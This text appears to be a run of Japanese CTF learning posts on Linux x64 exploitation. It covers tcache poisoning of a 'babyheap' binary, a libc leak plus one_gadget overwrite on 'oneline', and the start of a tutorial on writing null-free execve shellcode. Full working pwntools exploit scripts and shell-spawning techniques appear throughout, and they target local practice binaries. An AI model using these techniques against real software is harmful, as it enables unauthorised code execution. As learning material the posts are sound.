補足:dmhで確認するチャンクリストは状態が狂ってそう。

[0x555deead1a44]> dmh

  Malloc chunk @ 0x555def88c250 [size: 0x40][free]
  Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000]

最後に、もう一度mallocするとTcacheに繋がっている0x555def88c250が取り出される(dmhtだとTcacheは空っぽに見える)

[0x555deead1a44]> dmht
Tcache main arena @ 0x7f9469476c40

取り出された時に、Tcacheの先頭には0x555def88c250fdで指している次のアドレスを格納するため、Tcacheの先頭アドレスはwrite(本来は任意のアドレス)が格納されることになる。

[0x555deead1a44]> x @0x555def88c000
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x555def88c000  0000 0000 0000 0000 5102 0000 0000 0000  ........Q.......
0x555def88c010  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c050  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c060  7772 6974 6500 0000 0000 0000 0000 0000  write...........
0x555def88c070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0c0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0f0  0000 0000 0000 0000 0000 0000 0000 0000  ................

以上の手順でTcacheの汚染ができたため、次にmallocした時は 任意のアドレス が取得できることになる。

エクスプロイトコード作成の準備

TCache Poisoningの手順はここまでの確認で理解できたので、babyheapのセキュリティ機構との兼ね合いから、シェルを奪取するために他に必要な情報を準備する。今回はASLRが有効になっているため、スタックやヒープ、共有ライブラリなどをメモリに配置するときにアドレスの一部はランダム化される。

そこで、今回は__free_hookを使いone_gadgetを実行する。
__free_hookは、ここに格納されているアドレスをfree実行時にフックしてくれるので、Alloc(1)時に__free_hookのアドレスにone_gadgetのアドレスを格納できれば攻撃が成功する。man

以上を踏まえてやることとしては、

  • one_gadgetのアドレスを探す
  • __free_hookのオフセットを取得する
  • stdin関数の実行アドレスとオフセットからglibcのベースアドレスを求める が必要になる。

最後のglibcのベースアドレスに関しては、エクスプロイトコードの中で求めれば良さそうだが、上2つに関しては事前に調べておく。

one_gadgetのアドレスを調べる

lddコマンドでbabyheapが使っているライブラリを調べる。

# ldd babyheap 
    linux-vdso.so.1 (0x00007fff797fe000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0adec53000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f0adf247000)

libc.so.6の中からone_gadgetを探す。

root@955ba940c3ee:/sandbox/pwn/2_babyheap# one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

__free_hookのオフセットを調べる

libc.so.6の中から__free_hookのオフセットを調べる。

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep __free_hook
00000000003ed8e8 V __free_hook

stdinのオフセットを調べる

同様にlibc.so.6の中から_IO_2_1_stdin_のオフセットを調べる。

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep stdin      
00000000003eba00 D _IO_2_1_stdin_
00000000003ec850 D stdin

エクスプロイト

from pwn import *

context(os="linux", arch="amd64")
con = process("./babyheap")

def alloc(data):
    con.recvuntil("> ")
    con.sendline("1")
    con.recvuntil("Content: ")
    con.sendline(data)

def delete():
    con.recvuntil("> ")
    con.sendline("2")

def wipe():
    con.recvuntil("> ")
    con.sendline("3")

# Offset
stdin_offset = 0x3eba00
free_hook_offset = 0x3ed8e8
one_gadget_offset = 0x4f322

# GLibc Base
con.recvuntil(">>>>> ")
addr_stdin = int(con.recvuntil(" "), 16)
libc_base = addr_stdin - stdin_offset
print("[*] libc_base_addr = 0x%x" % libc_base)

# TcachePoisoning
alloc("test")
delete()
delete()
wipe()
alloc(pack(libc_base + free_hook_offset))
wipe()
alloc("test")
wipe()
alloc(pack(libc_base + one_gadget_offset))

# Execute OneGadget
delete()

con.interactive()

終わりに

初めてのヒープ問題は、個人的には結構難しかった(writeup含め色々な情報を貪った)
babyheap相当 優しいらしいが、知らないといけない情報が多く基礎が全然足りてないのを実感。
攻撃方法やメモリ管理については、今回のウォークスルーで基礎の基礎の基ぐらいは理解できたと思うが、これ系の問題は数こなして色々なパターンに触れないとなんともならないな。と言う感想を抱いた。

終わり

バイナリアン入門 第四回(x64, Linux)

はじめに

CTF問題のonelineのウォークスルーに近いが、今回はone-gadgetと言う初耳のモノを扱ってみる。用途的には前回作成したシェルコードと似ているが、ガジェットコードと呼ばれる命令を実行するだけでシェルを起動できる優れもの。

one-gadgedとは

one-gadgedとは 引数なしで「/bin/sh」を呼び出すガジェットコード のことで、セキュリティ機構などによりシェルコードが実行できないけど、プログラムカウンター(ip)を制御できる場合に利用することができる。このガジェットコードはlibcの中に含まれており、そのアドレスにジャンプすることにより実行できる(正確には実行可能条件が存在するが)

project-one-gadget

対象となる実行ファイルの挙動

最初は、今回対象となるバイナリの動作を確認してみる。
ファイルを実行してみると文字列の入力を促され、入力すると再度入力を促される。
動かした感じ、文字化けしてる部分があるのがちょっと気になるところ。

# ./oneline 
You can input text here!
>> a
a
�tN�Once more again!
>> b
b

今度は、たくさんの文字列を入力するとどうなるのかを試してみる。

# ./oneline 
You can input text here!
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

文字列を入れすぎるとSEGFAULTが発生。

セキュリティ機構のチェック

実行ファイルが備えているセキュリティ機構を確認する

# checksec ./oneline
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /root/.pwntools-cache/update to 'never'.
[*] A newer version of pwntools is available on pypi (3.13.0 --> 4.0.1).
    Update with: $ pip install -U pwntools
[*] '/root/sandbox/pwn/1_oneline/oneline'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

それぞれの機構については以下が詳しいので割愛。
- セキュリティコンテストチャレンジブックの2章「pwn」の記事より「ステップ2: 下調べ - 実行ファイルのセキュリティ機構についてまとめてみる

アセンブラ解読

早速、onelineのバイナリを解析してみる。毎回お馴染みのRadare2を利用する。

# r2 -d oneline 
[0x7fef862a2090]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[Warning: Invalid range. Use different search.in=? or anal.in=dbg.maps.x
Warning: Invalid range. Use different search.in=? or anal.in=dbg.maps.x
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[TOFIX: aaft can't run in debugger mode.ions (aaft)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.

[0x7fef862a2090]> afl
0x5583cda6b720    1 42           entry0
0x5583cdc6bfe0    1 4124         reloc.__libc_start_main
0x5583cda6b750    4 50   -> 40   sym.deregister_tm_clones
0x5583cda6b790    4 66   -> 57   sym.register_tm_clones
0x5583cda6b7e0    5 58   -> 51   entry.fini0
0x5583cda6b710    1 6            sym..plt.got
0x5583cda6b820    1 10           entry.init0
0x5583cda6b9a0    1 2            sym.__libc_csu_fini
0x5583cda6b9a4    1 9            sym._fini
0x5583cda6b82a    1 67           entry.init1
0x5583cda6b6d0    1 6            sym.imp.setbuf
0x5583cda6b930    4 101          sym.__libc_csu_init
0x5583cda6b86d    1 182          main
0x5583cda6b700    1 6            sym.imp.calloc
0x5583cda6b6e0    1 6            sym.imp.printf
0x5583cda6b6f0    1 6            sym.imp.read
0x5583cda6b6a0    3 23           sym._init
0x5583cda6b000    2 25           map.root_sandbox_pwn_1_oneline_oneline.r_x

[0x7fef862a2090]> s main

[0x5583cda6b86d]> pdf
/ (fcn) main 182
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_ch @ rbp-0xc
|           ; var int32_t var_8h @ rbp-0x8
|           ; DATA XREF from entry0 @ 0x5583cda6b73d
|           0x5583cda6b86d      55             push rbp
|           0x5583cda6b86e      4889e5         mov rbp, rsp
|           0x5583cda6b871      4883ec10       sub rsp, 0x10
|           0x5583cda6b875      be01000000     mov esi, 1
|           0x5583cda6b87a      bf28000000     mov edi, 0x28           ; '(' ; 40
|           0x5583cda6b87f      e87cfeffff     call sym.imp.calloc     ; void *calloc(size_t nmeb, size_t size)
|           0x5583cda6b884      488945f8       mov qword [var_8h], rax
|           0x5583cda6b888      488b45f8       mov rax, qword [var_8h]
|           0x5583cda6b88c      488b15450720.  mov rdx, qword [reloc.write] ; [0x5583cdc6bfd8:8]=0
|           0x5583cda6b893      48895020       mov qword [rax + 0x20], rdx
|           0x5583cda6b897      488d3d160100.  lea rdi, qword str.You_can_input_text_here ; 0x5583cda6b9b4 ; "You can input text here!\n>> "
|           0x5583cda6b89e      b800000000     mov eax, 0
|           0x5583cda6b8a3      e838feffff     call sym.imp.printf     ; int printf(const char *format)
|           0x5583cda6b8a8      488b45f8       mov rax, qword [var_8h]
|           0x5583cda6b8ac      ba28000000     mov edx, 0x28           ; '(' ; 40
|           0x5583cda6b8b1      4889c6         mov rsi, rax
|           0x5583cda6b8b4      bf00000000     mov edi, 0
|           0x5583cda6b8b9      e832feffff     call sym.imp.read       ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x5583cda6b8be      488b45f8       mov rax, qword [var_8h]
|           0x5583cda6b8c2      488b4020       mov rax, qword [rax + 0x20]
|           0x5583cda6b8c6      488b4df8       mov rcx, qword [var_8h]
|           0x5583cda6b8ca      ba28000000     mov edx, 0x28           ; '(' ; 40
|           0x5583cda6b8cf      4889ce         mov rsi, rcx
|           0x5583cda6b8d2      bf01000000     mov edi, 1
|           0x5583cda6b8d7      ffd0           call rax
|           0x5583cda6b8d9      488d3df10000.  lea rdi, qword str.Once_more_again ; 0x5583cda6b9d1 ; "Once more again!\n>> "
|           0x5583cda6b8e0      b800000000     mov eax, 0
|           0x5583cda6b8e5      e8f6fdffff     call sym.imp.printf     ; int printf(const char *format)
|           0x5583cda6b8ea      488b45f8       mov rax, qword [var_8h]
|           0x5583cda6b8ee      ba28000000     mov edx, 0x28           ; '(' ; 40
|           0x5583cda6b8f3      4889c6         mov rsi, rax
|           0x5583cda6b8f6      bf00000000     mov edi, 0
|           0x5583cda6b8fb      e8f0fdffff     call sym.imp.read       ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x5583cda6b900      8945f4         mov dword [var_ch], eax
|           0x5583cda6b903      488b45f8       mov rax, qword [var_8h]
|           0x5583cda6b907      488b4020       mov rax, qword [rax + 0x20]
|           0x5583cda6b90b      8b55f4         mov edx, dword [var_ch]
|           0x5583cda6b90e      488b4df8       mov rcx, qword [var_8h]
|           0x5583cda6b912      4889ce         mov rsi, rcx
|           0x5583cda6b915      bf01000000     mov edi, 1
|           0x5583cda6b91a      ffd0           call rax
|           0x5583cda6b91c      b800000000     mov eax, 0
|           0x5583cda6b921      c9             leave
\           0x5583cda6b922      c3             ret

ここからは、上のmain()関数を上から順番に解析してみる。

Function prologue

お決まりの関数の最初で実行する命令。 関数内でスタックを扱う際の基準となるアドレスをスタックのトップのアドレスと同じにする。

push rbp
mov rbp, rsp

関数内で利用するスタックを16バイト確保する。

sub rsp, 0x10

チャンクの確保

callocをcallしてメモリを確保する。
第1引数となるrdiには、ブロック数40(0x28)を格納し、第2引数となるrsiには、ブロックサイズ1を格納する。
40ブロック×1バイトで40バイト分のメモリが確保され、戻り値としてチャンクのアドレスがraxに格納されるので、それをスタックvar_8hに格納する。

mov esi, 1
mov edi, 0x28           ; '(' ; 40
call sym.imp.calloc     ; void *calloc(size_t nmeb, size_t size)
mov qword [var_8h], rax

callocで確保したチャンクの32バイト目(0x20)の位置に、reloc.write(rdx)のアドレスを格納する。

mov rax, qword [var_8h]
mov rdx, qword [reloc.write] ; [0x5583cdc6bfd8:8]=0
mov qword [rax + 0x20], rdx

writeアドレスのリーク

文字列の入力を促すメッセージを表示する。
第一引数となるrdiには、出力する文字列のアドレスを格納し、ベクトルレジスタ浮動小数点)の設定に関しては、今回は整数型なので0を設定している(詳細は以前の記事を参照)

lea rdi, qword str.You_can_input_text_here ; 0x5583cda6b9b4 ; "You can input text here!\n>> "
mov eax, 0
call sym.imp.printf     ; int printf(const char *format)

ユーザからの入力を受け付けるためにreadをcallする。
第一引数となるediには、ファイルディスクリプタの標準入力(0)を指定し、第二引数となるrsiには上で確保したチャンクのアドレスを指定。
第三引数となるedxには、サイズ40(0x28)を指定する。
これで、ユーザが入力した文字列はvar_8hに格納されることになる。
man: https://linuxjm.osdn.jp/html/LDP_man-pages/man2/read.2.html

mov rax, qword [var_8h]
mov edx, 0x28           ; '(' ; 40
mov rsi, rax
mov edi, 0
call sym.imp.read       ; ssize_t read(int fildes, void *buf, size_t nbyte)

文字列が格納されているチャンクのアドレスをraxレジスタに格納し、32(0x20)バイトシークした位置を再度raxに格納する。
命令的には、ユーザが文字列を入力しすぎなければ、raxにはリークしたwriteのアドレスが格納されたままになる。

mov rax, qword [var_8h]
mov rax, qword [rax + 0x20]

次に、writeをcallしてチャンクの中身を表示する。
第一引数となるediには、ファイルディスクリプタの標準出力(1)を指定し、第二引数となるrsiには上で確保したチャンクのアドレスを指定。第三引数となるedxには、サイズ40(0x28)を指定する。 call raxでは、32バイト以上の文字列を入力していなければwriteのアドレスがraxレジスタに格納されるが、それ以上文字列を入力した場合はwriteのアドレスを破壊するので、Segmentation faultが起きる。

これにより、ユーザが入力した文字列+writeのアドレスがコンソールに出力される。

mov rcx, qword [var_8h]
mov edx, 0x28           ; '(' ; 40
mov rsi, rcx
mov edi, 1
call rax

二度目の入力

次に、もう一度文字列の入力を促すメッセージを表示する。

lea rdi, qword str.Once_more_again ; 0x5583cda6b9d1 ; "Once more again!\n>> "
mov eax, 0
call sym.imp.printf     ; int printf(const char *format)

先程と同じようにreadで読み込む。

mov rax, qword [var_8h]
mov edx, 0x28           ; '(' ; 40
mov rsi, rax
mov edi, 0
call sym.imp.read       ; ssize_t read(int fildes, void *buf, size_t nbyte)

読み込んだ文字列のサイズをスタックvar_chに格納する。

mov dword [var_ch], eax

再度、raxレジスタwriteのアドレスを格納する。

mov rax, qword [var_8h]
mov rax, qword [rax + 0x20]

二度目に入力された文字列のサイズは、var_chに入っているため、それを第三引数となるedxに格納する。
第一引数となるediには、標準出力(1)を設定し、第二引数となるrsiには、チャンクのアドレスを格納し、raxをcallしてwriteを実行する。

mov edx, dword [var_ch]
mov rcx, qword [var_8h]
mov rsi, rcx
mov edi, 1
call rax

関数の戻り値に0を設定して、処理を終了する。

mov eax, 0
leave
ret

攻撃方法

アセンブラを解読したので、どうやって攻撃すればいのかを考える。

  • シェルコードを送る
  • 二度目のcall raxで任意のアドレスを実行させることができそう

セキュリティ機構をもう一度確認してみる。
NX bitが有効になっていると、メモリ領域に置かれたデータをプログラムとして実行できないため、シェルコードは実行できなそう。入力可能なサイズ的にも無理。

任意のアドレスは実行できそうだが、どこのアドレスを指定させようか?と迷った時に使えるのが今回登場する one-gadget と言うコード。
writeのアドレスが入ってる部分をone-gadgetのアドレスで書き換えれば良いのである。

だが、ASLRによってスタックやヒープ、共有ライブラリなどをメモリに配置するときにアドレスの一部はランダム化される問題がある。
one-gadgedglibcのベースアドレスからのオフセットとなるため、どうにかしてglibcのベースアドレスを調べないと攻撃が成功しないのだが、最初の方にwriteのアドレスをリークしている部分があるので、そのアドレスからwriteのオフセットを引いて、glibcのベースアドレスを求めれば良さそうだ。

なので、攻撃の手順としては

  • リークしてるwriteのアドレスからglibcのベースアドレスを求める
  • ベースアドレスにone_gadgetのオフセットを足して実アドレスを求める
  • 二度目のreadで上のアドレスを送り込んで実行させる

必要な情報の準備

onelineがどのような共有ライブラリを使用しているかを確認する。

# ldd oneline 
    linux-vdso.so.1 (0x00007ffc01eae000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f203cc000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f7f207ae000)

writeのオフセット取得

writeのオフセットを取得する。
色々出てくるけど、これがお目当のやつになる 00000000000eb910 W write

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep write
00000000000fa530 T eventfd_write
0000000000073080 W fwrite
000000000007cb90 T fwrite_unlocked
000000000007ed70 T _IO_do_write
000000000007dc50 T _IO_file_write
0000000000073080 T _IO_fwrite
0000000000078cb0 T _IO_wdo_write
00000000000e9c70 T __libc_pwrite
00000000000fb140 T process_vm_writev
00000000000e9c70 W pwrite
00000000000e9c70 W __pwrite64
00000000000e9c70 W pwrite64
00000000000f17f0 T pwritev
00000000000f1a00 T pwritev2
00000000000f17f0 T pwritev64
00000000000f1a00 T pwritev64v2
00000000000eb910 W __write
00000000000eb910 W write
00000000000f0990 T __write_nocancel
00000000000f16a0 W writev

one-gadgetのオフセット取得

onelineで参照しているlibcの共有ライブラリから、one-gadgetの候補を取得する。
one-gadgetのアドレスを調べるのは、one_gadgetが大変便利なので、そちらを利用する。
複数の候補が出てくるが、候補のアドレスでシェルの起動が成功するにはconstraintsの条件がそろった場合のみなので、いくつか試しながら使えるアドレスを決める。

# one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xc84ca execve("/bin/sh", r12, r13)
constraints:
  [r12] == NULL || r12 == NULL
  [r13] == NULL || r13 == NULL

0xc84cd execve("/bin/sh", r12, rdx)
constraints:
  [r12] == NULL || r12 == NULL
  [rdx] == NULL || rdx == NULL

0xc84d0 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

0xe666b execve("/bin/sh", rsp+0x60, environ)
constraints:
  [rsp+0x60] == NULL

今回は、以下のものが対象になる。
rsp+0x60がNULLの場合は0xe666bのアドレスで実行が可能。

0xe666b execve("/bin/sh", rsp+0x60, environ)
constraints:
  [rsp+0x60] == NULL

エクスプロイト

調べた情報からエクスプロイトコードを作成する。

from pwn import *

context(os="linux", arch="amd64")

con = process("./oneline")
write_offset = 0xeb910
one_gadget_offset = 0xe666b

con.recvuntil('>> ')
con.sendline('test')
msg = con.recvuntil('>> ')
libc_base_addr = unpack(msg[32:40]) - write_offset
print "[*] libc_base_addr = 0x%x" % unpack(msg[32:40])

payload = 'A' * 32
payload += pack(libc_base_addr + one_gadget_offset)
con.sendline(payload)

con.interactive()

実行してみると、無事奪取できた。

# python solve.py 
[+] Starting local process './oneline': pid 26312
[*] libc_base_addr = 0x7f20f89cb910
[*] Switching to interactive mode
$ ls
b  env    libc-2.27.so  oneline  solve.py
$  

まとめ

初めてone-gadgetなるものにふれたが、glibcにこんな便利な命令群が存在してるとは知らなかった。これはセキュリティ機構が色々と有効になっている時に力を発揮しそう。

バイナリアン入門 第三回(x64, Linux)

はじめに

基礎の基礎の部分は第一回第二回で簡単にふれたので、今回はCTFで苦戦したシェルコードにふれてみる。作成したシェルコードは、脆弱性のある実行ファイルに喰わせて動作を確認する。

シェルコードとは

https://ja.wikipedia.org/wiki/%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%B3%E3%83%BC%E3%83%89

ソフトウェアのセキュリティホールを利用するペイロードとして使われるコード断片である。侵入したマシンを攻撃者が制御できるようにするため、シェルを起動することが多いことから「シェルコード」と呼ぶ。シェルコードは機械語で書かれることが多いが、機械語でなくとも同様のタスクを実行できるコード断片はシェルコードと呼ばれる。

解析用コードの作成

いきなりシェルコードを書くのは無理なので、シェルコードの元となる/bin/shを起動するコードをC言語で書いて、吐き出したバイナリコードを解析しながら作成してみる。

execveについては、マニュアルに詳しく書いてあるのでそれに従う。後々シェルコードを作成する時に意識しといた方が良い部分としては、マニュアル内の以下の引用の部分かな。

argv と envp はいずれものヌルポインターで終わっている必要がある

実際に作成したコードはこれ(この場合はvoid mainのが綺麗適切かも)

#include<unistd.h>
int main()
{
   // ヌルコードが入らないよう8バイトで合わせている。詳細は後述。
   char filename[] = "/bin//sh";
   char *argv[] = {"/bin//sh", NULL};

   execve(filename, argv, NULL);
}

実行ファイル作成

ダイナミックリンクだと解析する際にexecveの内部処理がどのようになっているのかが見られないため、スタティックリンクで実行ファイルを作成する。

gcc -static -g shell.c

実行ファイルの解析

Radare2を使って、バイナリを解析する。

r2 -d a.out
[0x00001050]> aaa
[Cannot analyze at 0x00001040g with sym. and entry0 (aa)
[x] Analyze all flags starting with sym. and entry0 (aa)
[Cannot analyze at 0x00001040ac)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.

[0x00001050]> afl
0x00001050    1 42           entry0
0x00001080    4 41   -> 34   sym.deregister_tm_clones
0x000010b0    4 57   -> 51   sym.register_tm_clones
0x000010f0    5 57   -> 50   entry.fini0
0x00001130    1 5            entry.init0
0x00001000    3 23           sym._init
0x000011f0    1 1            sym.__libc_csu_fini
0x000011f4    1 9            sym._fini
0x00001190    4 93           sym.__libc_csu_init
0x00001135    1 76           main
0x00001030    1 6            sym.imp.execve

[0x00001050]> s main

[0x00001135]> pdf
/ (fcn) main 76
|   int main (int argc, char **argv, char **envp);
|           ; var char *var_20h @ rbp-0x20
|           ; var int32_t var_18h @ rbp-0x18
|           ; var int32_t var_9h @ rbp-0x9
|           ; var int32_t var_1h @ rbp-0x1
|           ; DATA XREF from entry0 @ 0x106d
|           0x00001135      55             push rbp                    ; shell.c:3 {
|           0x00001136      4889e5         mov rbp, rsp
|           0x00001139      4883ec20       sub rsp, 0x20
|           0x0000113d      48b82f62696e.  movabs rax, 0x68732f2f6e69622f ; shell.c:4    char filename[] = "/bin//sh"; ; '/bin//sh'
|           0x00001147      488945f7       mov qword [var_9h], rax
|           0x0000114b      c645ff00       mov byte [var_1h], 0
|           0x0000114f      488d05ae0e00.  lea rax, qword str.bin__sh  ; shell.c:5    char *argv[] = {"/bin//sh", NULL}; ; 0x2004 ; "/bin//sh"
|           0x00001156      488945e0       mov qword [var_20h], rax
|           0x0000115a      48c745e80000.  mov qword [var_18h], 0
|           0x00001162      488d4de0       lea rcx, qword [var_20h]    ; shell.c:7    execve(filename, argv, NULL);
|           0x00001166      488d45f7       lea rax, qword [var_9h]
|           0x0000116a      ba00000000     mov edx, 0
|           0x0000116f      4889ce         mov rsi, rcx
|           0x00001172      4889c7         mov rdi, rax
|           0x00001175      e8b6feffff     call sym.imp.execve
|           0x0000117a      b800000000     mov eax, 0
|           0x0000117f      c9             leave                       ; shell.c:8 }
\           0x00001180      c3             ret

[0x00401b5d]> s sym.execve
[0x0043c6e0]> pdf
            ;-- __execve:
/ (fcn) sym.execve 33
|   sym.execve ();
|           ; CALL XREF from main @ 0x401b9d
|           0x0043c6e0      b83b000000     mov eax, 0x3b               ; ';' ; 59
|           0x0043c6e5      0f05           syscall
|           0x0043c6e7      483d01f0ffff   cmp rax, -0xfff
|       ,=< 0x0043c6ed      7301           jae 0x43c6f0
|       |   0x0043c6ef      c3             ret
|       |   ; CODE XREF from sym.execve @ 0x43c6ed
|       `-> 0x0043c6f0      48c7c1c0ffff.  mov rcx, -0x40
|           0x0043c6f7      f7d8           neg eax
|           0x0043c6f9      648901         mov dword fs:[rcx], eax
|           0x0043c6fc      4883c8ff       or rax, 0xffffffffffffffff
\           0x0043c700      c3             ret

main()

メイン関数(0x00001135から0x00001180)を読んでいく。
関数呼び出しをする際のお決まり(Function prologue)とコールスタックの確保に関しては割愛。

push rbp                       ; shell.c:3 {
mov rbp, rsp
sub rsp, 0x20
movabs rax, 0x68732f2f6e69622f ; shell.c:4    char filename[] = "/bin//sh"; ; '/bin//sh'
mov qword [var_9h], rax
mov byte [var_1h], 0
lea rax, qword str.bin__sh     ; shell.c:5    char *argv[] = {"/bin//sh", NULL}; ; 0x2004 ; "/bin//sh"
mov qword [var_20h], rax
mov qword [var_18h], 0
lea rcx, qword [var_20h]       ; shell.c:7    execve(filename, argv, NULL);
lea rax, qword [var_9h]
mov edx, 0
mov rsi, rcx
mov rdi, rax
call sym.imp.execve
mov eax, 0
leave                          ; shell.c:8 }
ret

第1引数の値準備

文字列0x68732f2f6e69622f(/bin//sh)raxに格納してvar_9h(rbp-0x9)のアドレスに配置。
そのすぐ後ろの連続したアドレスvar_1h(rbp-0x1)にヌルポインタ(0)を配置している。

movabs rax, 0x68732f2f6e69622f
mov qword [var_9h], rax
mov byte [var_1h], 0

上の命令を実行後のスタック領域はこんな感じ。
0x7ffde0f508d7から0x7ffde0f508dfまでのところに2f 6269 6e2f 2f73 6800が設定されているのが確認できる。
マニュアルでargvはヌルポインタで終わっている必要があるという意味はこの00の部分になる。

- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x7ffde0f508c0  9001 9700 f155 0000 5000 9700 f155 0000  .....U..P....U..
0x7ffde0f508d0  c009 f5e0 fd7f 002f 6269 6e2f 2f73 6800  ......./bin//sh.
0x7ffde0f508e0  9001 9700 f155 0000 bb0b 0e24 c57f 0000  .....U.....$....
0x7ffde0f508f0  0000 0000 0000 0000 c809 f5e0 fd7f 0000  ................

rax 0x68732f2f6e69622f
rbp 0x7ffde0f508e0

第2引数の値準備

次に、/bin//shの文字列が配置されているアドレスをraxに一度格納しvar_20h(rbp-0x20)に配置する。
そのすぐ後ろの連続したアドレスvar_18h(rbp-0x18) には先程と同様にヌルポインタ(0)を配置している。

lea rax, qword str.bin__sh
mov qword [var_20h], rax
mov qword [var_18h], 0

上の命令を実行後のスタック領域はこんな感じ。
0x7ffde0f508c0から0x7ffde0f508cfまでのところに/bin//shを指すアドレスとヌルポインタ(0410 9700 f155 0000 0000 0000 0000 0000)が配置されている。

- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x7ffde0f508c0  0410 9700 f155 0000 0000 0000 0000 0000  .....U..........
0x7ffde0f508d0  c009 f5e0 fd7f 002f 6269 6e2f 2f73 6800  ......./bin//sh.
0x7ffde0f508e0  9001 9700 f155 0000 bb0b 0e24 c57f 0000  .....U.....$....
0x7ffde0f508f0  0000 0000 0000 0000 c809 f5e0 fd7f 0000  ................

rax 0x55f100971004
rbp 0x7ffde0f508e0

引数設定

最後に、スタック領域に積んでいる値を適切な引数に設定する。
引数とレジスタの対応についてはSystem V ABIを参照すればいいけど、このサイトでわかりやすくまとまっているため引用させて頂く。

x64のSystem V ABI(Unix系OSの関数呼び出し規約)では第1~6引数まではレジスタを使用し、第7引数以降はスタックを使うようにするようだ。 具体的に以下の順番で引数をレジスタに入れる。
引数 レジスタ
第1引数 RDI
第2引数 RSI
第3引数 RDX
第4引数 RCX
第5引数 R8
第6引数 R9

execve(filename, argv, NULL);の引数設定をアセンブラコードで表現すると、以下のようになる。

第3引数のedxには ヌルポインタを設定。
第2引数のrsiには/bin//shのアドレスを指すアドレスを設定(C言語のポインタのポインタ)
第1引数のrdiには/bin//shのアドレスを設定。
そして、最後にsym.imp.execveをコールする。

lea rcx, qword [var_20h]
lea rax, qword [var_9h]

mov edx, 0
mov rsi, rcx
mov rdi, rax

call sym.imp.execve

sym.imp.execve()

sym.imp.execveの処理も見てみる。
execveを使うためには、eaxシステムコール番号59を設定してsyscall命令を使用するといいようだ。

mov eax, 0x3b
syscall

シェルコード作成

上の解析結果から、execveを使用してシェルを実行する時のアセンブラコードが理解できたので、execveの実行に必要なアセンブラコードだけを抜き出してみる。

文字列変換処理

の前に、今回使用する脆弱性のあるバイナリは、CTFで使っていたモノを流用しているため、b,i,n,s,hの文字が存在すると処理が終了するようになっている。なのでxorで文字列を反転させている。

filename = 0x68732f2f6e69622f # /bin//sh
xor = (filename ^ 0xffffffffffffffff)
print format(xor, 'x') #978cd0d091969dd0

シェルコード作成

第1引数に値を設定するために、第1引数用のレジスタrdiと一時変数として利用するレジスタraxを初期化する。

global _start
_start:
xor rdi,rdi
xor rax,rax

解析結果で見たように、execveの第1引数には実行するファイル名/bin//sh + ヌルポインタ(0)が配置されているアドレスを格納する必要があるので、必要な値をスタックに積んで、rspのアドレスをrdiに格納する。

が、シェルコードを作成する時の注意事項として、ヌル文字は含めちゃだめと言う決まりがある。

https://ja.wikipedia.org/wiki/%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%B3%E3%83%BC%E3%83%89#%E3%83%8C%E3%83%AB%E6%96%87%E5%AD%97%E6%8E%92%E9%99%A4

一般にシェルコードはヌル文字を終端とする文字列として対象プロセスに注入されるため、ヌル文字(一般に0x00)をその途中で使うことはできない。途中にヌル文字があると、そこまでしか文字列としてコピーされない。従ってヌル文字に相当するコードがシェルコードの途中にある場合、シェルコードは最後まで実行されない。

なので、ヌルポインタの設定で愚直にmov rax, 0みたいな命令を書くと、ヌル文字が入ってしまうのでシェルコードが最後まで実行されず、何回やっても成功しない。そのため回避策として初期化したrax(値は0x00)をスタックに積むようにしている。

/bin//shでスラッシュを連続させているのも、スラッシュ一つで文字数が7文字にしていると、8文字に相当する部分に0x00のヌル文字が混入してしまうため、スラッシュを連続することでヌル文字の混入を防いでいる。

